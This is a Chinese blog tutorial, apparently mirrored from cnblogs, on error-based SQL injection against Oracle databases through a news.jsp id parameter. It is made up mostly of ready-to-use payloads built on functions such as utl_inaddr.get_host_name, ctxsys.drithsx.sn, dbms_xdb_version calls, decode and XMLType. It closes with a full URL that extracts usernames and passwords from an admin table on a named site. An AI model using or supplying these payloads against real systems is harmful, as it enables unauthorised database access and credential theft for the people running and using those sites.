zoukankan      html  css  js  c++  java
  • 大哥带的Orchel数据库的报错注入

    0X01

    使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式。

    news.jsp?id=1 and 1=1 正确
    news.jsp?id=1 and 1=2 错误

    存在注入  随便输入 发现存在报错信息我们可以尝试报错注入

    0X02报错函数注入

    utl_inaddr.get_host_name()进行报错注入

    and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1))

    utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

    我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有

    0x002 ctxsys.drithsx.sn()进行报错注入

    ?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))

     0x03利用 dbms_xdb_version.checkin()

    and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null

    0x04dbms_xdb_version.makeversioned()

    and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null

    0x05dbms_xdb_version.uncheckout()

    and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not nul

    0x06dbms_utility.sqlid_to_sqlhash()

    and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null

    0x06ordsys.ord_dicom.getmappingxpath()

    and 1=ordsys.ord_dicom.getmappingxpath((select table_name from user_tables where rownum=1))

    0x07decode进行报错注入因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

    and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual)  匹配到正确的时候页面返回错误
    ?id=1 and 1=(select decode(substr(user,1,1),'s',(1/0),0) from dual)

    0x08XMLType在使用这个XMLType进行报错时,很多人不知道为什么要用chr(60),通过ascii查询可以看到,60:<,58:’:’,62:’>’,查了下相关的api,发现xmltype在进行解析的时候必须以<开头>结尾,这里:冒号在这是必不可少的,至于为什么是冒号这个我也没查到,另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,有replace函数替换成其他非空字符就可以

    and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null

     0X020x02 报错函数注入数据

    报错admin表的 用户和密码

    http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

     其他报错函数差不多

    by 感谢卿哥

  • 相关阅读:
    [Linear Algebra] Inverse and Transpose
    使用vue-cli4快速搭建项目环境、使用webpack4打包自己的library类库、封装vue插件并发布
    Python多线程批量Ping主机IP的脚本
    rk3288 系统设置中无法正常使用wifi分析
    chrome 修改为linux的ua
    js生成用户编号(时间戳+随机数)
    【软考】信息系统开发方法
    【软考】信息安全审计
    【软考】信息系统安全等级保护
    【软考】软件测试
  • 原文地址:https://www.cnblogs.com/-zhong/p/10951367.html
Copyright © 2011-2022 走看看